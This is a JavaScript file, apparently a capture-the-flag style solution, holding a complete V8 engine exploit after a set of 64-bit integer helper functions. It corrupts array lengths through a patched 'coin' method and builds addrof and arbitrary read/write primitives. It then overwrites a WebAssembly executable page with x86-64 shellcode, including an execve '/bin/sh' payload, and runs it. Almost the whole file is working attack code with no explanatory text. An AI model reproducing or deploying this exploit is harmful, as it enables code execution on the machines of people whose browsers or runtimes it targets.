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| function hex(b) { return ('0' + b.toString(16)).substr(-2); }
// Return the hexadecimal representation of the given byte array. function hexlify(bytes) { var res = []; for (var i = 0; i < bytes.length; i++) res.push(hex(bytes[i]));
return res.join(''); }
// Return the binary data represented by the given hexdecimal string. function unhexlify(hexstr) { if (hexstr.length % 2 == 1) throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2); for (var i = 0; i < hexstr.length; i += 2) bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes; }
function hexdump(data) { if (typeof data.BYTES_PER_ELEMENT !== 'undefined') data = Array.from(data);
var lines = []; for (var i = 0; i < data.length; i += 16) { var chunk = data.slice(i, i+16); var parts = chunk.map(hex); if (parts.length > 8) parts.splice(8, 0, ' '); lines.push(parts.join(' ')); }
return lines.join('\n'); }
// Simplified version of the similarly named python module. var Struct = (function() { // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. var buffer = new ArrayBuffer(8); var byteView = new Uint8Array(buffer); var uint32View = new Uint32Array(buffer); var float64View = new Float64Array(buffer);
return { pack: function(type, value) { var view = type; // See below view[0] = value; return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); },
unpack: function(type, bytes) { if (bytes.length !== type.BYTES_PER_ELEMENT) throw Error("Invalid bytearray");
var view = type; // See below byteView.set(bytes); return view[0]; },
// Available types. int8: byteView, int32: uint32View, float64: float64View }; })();
// // Tiny module that provides big (64bit) integers. // // Copyright (c) 2016 Samuel Groß // // Requires utils.js //
// Datatype to represent 64-bit integers. // // Internally, the integer is stored as a Uint8Array in little endian byte order. function Int64(v) { // The underlying byte array. var bytes = new Uint8Array(8);
switch (typeof v) { case 'number': v = '0x' + Math.floor(v).toString(16); case 'string': if (v.startsWith('0x')) v = v.substr(2); if (v.length % 2 == 1) v = '0' + v;
var bigEndian = unhexlify(v, 8); bytes.set(Array.from(bigEndian).reverse()); break; case 'object': if (v instanceof Int64) { bytes.set(v.bytes()); } else { if (v.length != 8) throw TypeError("Array must have excactly 8 elements."); bytes.set(v); } break; case 'undefined': break; default: throw TypeError("Int64 constructor requires an argument."); }
// Return a double whith the same underlying bit representation. this.asDouble = function() { // Check for NaN if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes); };
// Return a javascript value with the same underlying bit representation. // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) // due to double conversion constraints. this.asJSValue = function() { if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. this.assignSub(this, 0x1000000000000); var res = Struct.unpack(Struct.float64, bytes); this.assignAdd(this, 0x1000000000000);
return res; };
// Return the underlying bytes of this number as array. this.bytes = function() { return Array.from(bytes); };
// Return the byte at the given index. this.byteAt = function(i) { return bytes[i]; };
// Return the value of this number as unsigned hex string. this.toString = function() { return '0x' + hexlify(Array.from(bytes).reverse()); };
// Basic arithmetic. // These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care // of converting arguments to Int64 instances if required. function operation(f, nargs) { return function() { if (arguments.length != nargs) throw Error("Not enough arguments for function " + f.name); for (var i = 0; i < arguments.length; i++) if (!(arguments[i] instanceof Int64)) arguments[i] = new Int64(arguments[i]); return f.apply(this, arguments); }; }
// this = -n (two's complement) this.assignNeg = operation(function neg(n) { for (var i = 0; i < 8; i++) bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One); }, 1);
// this = a + b this.assignAdd = operation(function add(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) + b.byteAt(i) + carry; carry = cur > 0xff | 0; bytes[i] = cur; } return this; }, 2);
// this = a - b this.assignSub = operation(function sub(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) - b.byteAt(i) - carry; carry = cur < 0 | 0; bytes[i] = cur; } return this; }, 2); }
// Constructs a new Int64 instance with the same bit representation as the provided double. Int64.fromDouble = function(d) { var bytes = Struct.pack(Struct.float64, d); return new Int64(bytes); };
// Return -n (two's complement) function Neg(n) { return (new Int64()).assignNeg(n); }
// Return a + b function Add(a, b) { return (new Int64()).assignAdd(a, b); }
// Return a - b function Sub(a, b) { return (new Int64()).assignSub(a, b); }
// Some commonly used numbers. Int64.Zero = new Int64(0); Int64.One = new Int64(1);
let victimobj_obj_offset_of_OOBARR=0 let victimbuf_backingstore_pointer_offset_of_OOBARR=0
function exploit(){
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]); let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {}); let f = wasm_mod.exports._Z3addii;
var length = { valueOf:function(){
return 20000000000000 } }; var val= { valueOf:function(){
victim=new Array(12) array.length = 0x100 float_victim=new Array(0x10) float_victim[0]=1.1 return 999999999999999 } }
let array=[]; array.length=34;
array.coin(length,val);
console.log("[+] Int_Victim array length is changed to :"+victim.length);
victim[273]=0x10000;//change the float arraylength //let array00= new Array(100) console.log("[+] Float_Victim(OOBARR) array length is changed to :"+float_victim.length)
var vicobj={marker: 1111222233334444, obj: {}} var victimbuffer=new ArrayBuffer(0x41); // %DebugPrint(victimbuffer); //%SystemBreak(); //%DebugPrint(vicobj.obj)
for (let i = 0; i < 100; i++) { let val = Int64.fromDouble(float_victim[i]).toString(); //console.log(val) if (val === "0x430f9534b3e01560") { //change the value to distinguish from front objs'flag float_victim[i] = (new Int64("4242424200000000")).asDouble(); victimobj_obj_offset_of_OOBARR = i -8; console.log("[+] VictimObj.obj's offset of OOBARR = ",victimobj_obj_offset_of_OOBARR.toString(16)) } }
for (let i = 0; i < 100; i++) { let val = Int64.fromDouble(float_victim[i]).toString(); //size as flag if (val === "0x0000000000000041") { float_victim[i] = (new Int64("0x0000000000999941")).asDouble(); victimbuf_backingstore_pointer_offset_of_OOBARR = i + 1; console.log("[+] VictimBuf's backing store pointer's offset of OOBARR = ",victimbuf_backingstore_pointer_offset_of_OOBARR.toString(16)) } }
function addrof(obj){ if(vicobj!==null){ vicobj.obj=obj; return Int64.fromDouble(float_victim[victimobj_obj_offset_of_OOBARR]) } }
function read(addr,size){ if(addr!==undefined){ float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR]=addr.asDouble(); let a = new Uint8Array(victimbuffer, 0, size); return Array.from(a); } } function write(addr, bytes) { if(addr!==undefined){ float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR] = addr.asDouble(); console.log("[+] The target Write addr = ",Int64.fromDouble(float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR])) let a = new Uint8Array(victimbuffer); //%DebugPrint(victimbuffer); //%SystemBreak() //console.log(a.byteLength) a.set(bytes); } }
function read8(addr) { float_victim[victimbuf_backingstore_pointer_offset_of_OOBARR] = addr.asDouble(); var v = new Float64Array(victimbuffer, 0, 8); return Int64.fromDouble(v[0]); } var test=new Array(); //%DebugPrint(f); addr=Add(addrof(f),0x18-1) addr=read8(addr); console.log("[+] SharedFunctionInfo : "+addr); addr=Add(addr,0x8-1) addr=read8(addr); console.log("[+] WasmExportedFunctionData : "+addr);
addr=Add(addr,0x10-1) addr=read8(addr); console.log("[+] Instance : "+addr);
addr=Add(addr,0x80-1) addr=read8(addr); console.log("[+] rwx addr : "+addr); let shellcode = [0x90,0x90,0x31,0xc0,0x48,0xbb,0xd1,0x9d,0x96,0x91,0xd0,0x8c,0x97,0xff,0x48,0xf7,0xdb,0x53,0x54,0x5f,0x99,0x52,0x57,0x54,0x5e,0xb0,0x3b,0x0f,0x05]; let calc= [0x48,0x31,0xc9,0x48,0x81,0xe9,0xf7,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,0xff,0xff,0x48,0xbb,0x09,0x69,0x71,0x6e,0x44,0x85,0x88,0x7d,0x48,0x31,0x58,0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x63,0x52,0x29,0xf7,0x0c,0x3e,0xa7,0x1f,0x60,0x07,0x5e,0x1d,0x2c,0x85,0xdb,0x35,0x80,0x8e,0x19,0x43,0x27,0x85,0x88,0x35,0x80,0x8f,0x23,0x86,0x5f,0x85,0x88,0x7d,0x6c,0x11,0x01,0x01,0x36,0xf1,0xa8,0x39,0x40,0x3a,0x21,0x22,0x05,0xdc,0xb5,0x47,0x39,0x47,0x41,0x48,0x62,0xfd,0xeb,0x1c,0x65,0x0a,0x71,0x38,0x13,0xcd,0x01,0x9b,0x06,0x6c,0x71,0x6e,0x44,0x85,0x88,0x7d] write(Sub(addr,0), calc);
//%SystemBreak() console.log("[+] Running shellcode...") f(); //%SystemBreak()
} exploit()
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